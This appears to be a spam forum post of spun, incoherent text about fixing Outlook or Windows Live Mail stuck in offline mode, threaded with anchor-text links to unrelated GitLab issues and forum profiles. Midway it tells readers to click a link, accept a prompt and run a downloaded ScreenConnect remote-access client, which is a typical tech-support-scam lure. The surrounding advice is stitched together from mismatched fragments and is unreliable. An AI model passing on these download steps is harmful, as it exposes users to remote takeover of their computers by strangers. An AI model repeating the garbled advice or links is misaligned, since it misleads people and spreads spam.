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Add My windows live mail is stuck in the work offline mode I cannot send or receive emails using wlm. I can access my

Marcy Holden 2025-12-29 10:29:46 +00:00
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Those are out of reach when Outlook can’t connect live to Microsoft Exchange. Sometimes, updates can also lead to certain issues with the programs installed on Windows OS. Therefore, if there are any pending updates related to MS Office or Outlook, you should check and install them. You can follow these methods to troubleshoot and resolve the Outlook [flush DNS and re-sync Outlook](https://visualchemy.gallery/forum/profile.php?id=5121293) stuck in Offline Mode error. These methods work in Outlook 2010, 2013, 2016, and 2019.
Check OST file
The Outlook may remain stuck in the offline mode until the network is restored.That keeps Outlook from getting confused and stuck offline.Problem with account configuration can also prevent Outlook from connecting to the mail server, resulting in Offline Mode.Furthermore, there is no need to install any of the additional software to use this tool.Outlook Safe Mode can help troubleshoot and fix the Outlook stuck in offline mode issue as it prevents any add-in from interfering with the normal Outlook operations.You can also send us your queries in the comment section, and we'll revert back as soon as possible.Jamie Kaler, a technical writer at MailsWare, combines her Computer Science background with a passion for simplifying complex technical topics.
If you get a prompt about letting another server manage your system and pick the wrong answer, Outlook might stay offline for good. Please click the link below from your computer (after reading [FixTechGuide email error solutions](https://gitlab.innive.com/anita13f834217/7471644/-/issues/2) this). On the new page, click the green I Agree button to start the connection download. Once the file (Elsinore.ScreenConnect.Client) has downloaded, select Run or Open.
How To Fix Outlook Stuck in Offline Mode?
Move it to a backup folder, like Desktop\OST Backup. Every business setup is different, and sometimes these problems run deeper than a quick fix. Our organization requires several folders from our mapped network drives be set to "Always Available Offline". Create your account and connect with a world of communities. There could be several reasons for your Outlook disconnect.
Verify Work Offline Button Status
Click the 'Work Offline' option to reset work offline mode and reconnect to the Exchange or mailbox server. To go online, open Outlook and navigate to Send/Receive and uncheck work offline. Ensure your connection is active and Outlook can access the mail server without connectivity. In such cases, you can recreate the OST file or use the Stellar Converter for OST software to convert the problematic OST file to Outlook importable PST format.
Method 1: Reset 'Work Offline' to Reconnect
If you set up your Outlook profile wrong, it might not log in to Microsoft Exchange or Office 365. Sometimes, people connect their system to several Office 365 environments without realizing it. That can confuse Outlook, especially with Autodiscover, and you end up stuck offline. Reconnect Outlook by checking your connection, disable work offline mode, and relaunch app.
We have explained all the essential methods to fix the Outlook stuck in offline mode error. If the issue is not resolved manually, we recommend using the suggested software to recover Outlook files and continue using Outlook without any interruptions. If these manual approaches do not work then it may happen due to damaged Outlook files.
Setup Exchange Server Account Manually
Additionally, it will sync every piece of server-based mail. As is known, we can switch from Offline to Online Mode and vice versa in Microsoft Outlook 2010 and later versions. Once Outlook is configured with an Exchange account, the Cached Exchange Mode is enabled automatically.
However, when Outlook cannot connect to the Exchange server, it automatically switches to Offline mode. All the modifications are stored locally in the OST data file before syncing with [solve Office 365 mailbox sync delays](https://gitlab.mpeeo.com:443/harlanseveranc/resolve-outlook-not-sending-emails-fast8879/-/issues/1) the mailbox server. Users can also utilize the 'Work Offline' option when there is an unreliable internet connection. When the problem is with the internet connection, Outlook may display Working Offline or Disconnected status. The Outlook may remain stuck in the offline mode until the network is restored. Profile or configuration mistakes cause trouble too.